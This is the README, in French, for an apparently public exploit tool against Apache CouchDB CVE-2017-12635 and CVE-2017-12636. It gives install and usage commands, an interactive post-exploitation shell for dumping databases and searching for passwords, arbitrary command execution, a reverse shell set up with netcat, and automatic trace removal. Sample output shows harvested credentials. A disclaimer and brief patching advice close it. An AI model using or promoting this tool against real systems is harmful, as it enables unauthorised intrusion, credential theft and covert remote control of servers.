
Exploite CouchDB CVE-2017-12635/12636 pour l'élévation de privilèges et l'exécution de code à distance (RCE), puis fournit un shell interactif avec exécution de commandes, exploration de la base de données et shell inversé.
Cet outil exploite deux vulnérabilités critiques dans Apache CouchDB :
| CVE | Description | Gravité |
|---|---|---|
| CVE-2017-12635 | Élévation de privilèges via un contournement de l'analyse JSON | 🔴 Critique |
| CVE-2017-12636 | Exécution de code à distance via le Query Server | 🔴 Critique |
| Version | Vulnérable | Version corrigée |
|---|---|---|
| Apache CouchDB < 1.7.0 | ✅ Oui | 1.7.0 |
| Apache CouchDB 1.x.x | ✅ Oui | 1.7.0 |
| Apache CouchDB 2.0.0 | ✅ Oui | 2.1.1 |
| Apache CouchDB 2.1.0 | ✅ Oui | 2.1.1 |
| Apache CouchDB ≥ 2.1.1 | ❌ Non | - |
curl http://target:5984/
✨ Fonctionnalités
✅ Exploitation automatique - Une seule commande pour tout faire
✅ Shell interactif - Interface de commandes conviviale
✅ Visualiseur de bases de données - Parcourir toutes les bases de données et documents
✅ Affichage JSON complet - Voir le contenu complet des documents
✅ Recherche globale - Rechercher des mots-clés dans toutes les bases de données
✅ Commandes système - Exécuter des commandes arbitraires sur la cible
✅ Reverse Shell - Obtenir un shell interactif complet
✅ Historique des commandes - Garder une trace de vos actions
✅ Nettoyage automatique - Supprimer les traces après l'exploitation
✅ Sortie colorée - Facile à lire et à comprendre
📦 Installation Prérequis bash
python3 --version
Cloner & Installer bash
git clone https://github.com/darabium/couchdb-exploit.git
cd couchdb-exploit
python3 -m venv myenv
source myenv/bin/activate
pip install -r requirements.txt
Exigences txt
requests>=2.25.0 urllib3>=1.26.0
🚀 Utilisation Utilisation de base bash
python3 couchdb-exploit.py -t <TARGET_IP> -p <PORT>
python3 couchdb-exploit.py -t 192.168.1.100 -p 5984
Options de ligne de commande bash
python3 couchdb-exploit.py -h
usage: couchdb-exploit.py [-h] -t TARGET [-p PORT]
arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
Target IP address or hostname
-p PORT, --port PORT Target port (default: 5984)
💻 Commandes
Une fois l'exploitation réussie, vous disposerez d'un shell interactif : Commande Description Exemple db Afficher toutes les bases de données avec le nombre de documents db view Afficher TOUS les documents d'une base de données (JSON complet) view passwords raw Afficher la réponse brute du serveur raw admin count Compter les documents d'une base de données count users search Rechercher un mot-clé dans TOUTES les bases de données search admin exec Exécuter une commande système exec whoami reverse Configurer un reverse shell reverse 10.0.0.1 4444 history Afficher l'historique des commandes history help Afficher ce menu help exit Quitter avec nettoyage exit 📊 Exemples
couchdb> db
[+] 39 databases:
_replicator (0 docs)
_users (12 docs)
admin (5 docs)
passwords (25 docs)
core-configuration (8 docs) ...
Afficher le contenu d'une base de données bash
couchdb> view passwords
[*] Total documents: 25
couchdb> search password
✅ Found in 'passwords' ID: user1 Content: { "username": "root", "password": "rootpass123" }
✅ Found in 'config' ID: app_settings Content: { "db_password": "secret123", "api_key": "sk_live_abc123" }
couchdb> exec whoami [+] Executing: whoami [+] Command executed!
couchdb> exec id [+] Executing: id [+] Command executed!
nc -lvnp 4444
couchdb> reverse 10.0.0.1 4444 [+] Configuration du reverse shell vers 10.0.0.1:4444 [!] Assurez-vous que l'écouteur est en cours d'exécution : nc -lvnp 4444 [?] Continuer ? (o/n) : o [+] Reverse shell déclenché !
🖼️ Captures d'écran Exploit en action
https://via.placeholder.com/800x400?text=Exploit+Demo+Screenshot Vue de la base de données
https://via.placeholder.com/800x400?text=Database+View Reverse Shell
https://via.placeholder.com/800x400?text=Reverse+Shell ⚠️ Avertissement
IMPORTANT : Cet outil est destiné uniquement à des fins éducatives et de tests autorisés.
🚫 N'utilisez PAS sur des systèmes sans autorisation explicite
🚫 L'auteur n'est pas responsable de toute utilisation abusive
🚫 Utilisez uniquement dans des environnements contrôlés ou sur vos propres systèmes
✅ Obtenez toujours une autorisation écrite avant de tester
✅ Respectez les pratiques de divulgation responsable
En utilisant cet outil, vous acceptez ces conditions. 🔐 Conseils de sécurité
Si vous êtes administrateur système :
Mettez à niveau immédiatement vers CouchDB ≥ 1.7.0 ou ≥ 2.1.1
Utilisez un pare-feu pour restreindre l'accès au port 5984
Activez l'authentification et utilisez des mots de passe forts
Surveillez les journaux pour détecter toute activité suspecte
Audits de sécurité réguliers de votre infrastructure
Correctif rapide bash
sudo apt-get update sudo apt-get install couchdb=2.1.1 # Or latest version
sudo ufw allow from 192.168.1.0/24 to any port 5984
📚 Références
CVE-2017-12635 - NVD
CVE-2017-12636 - NVD
Sécurité Apache CouchDB
Exploit-DB
👤 Auteur
darabium
GitHub : @darabium
Telegram : @darabium
⭐ Soutien
Si vous trouvez cela utile :
⭐ Mettez une étoile au dépôt
🐛 Signalez les problèmes
🔧 Contribuez aux améliorations
📢 Partagez avec d'autres
📄 Licence
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.
Réalisé avec ❤️ pour la recherche en sécurité
⬆ Retour en haut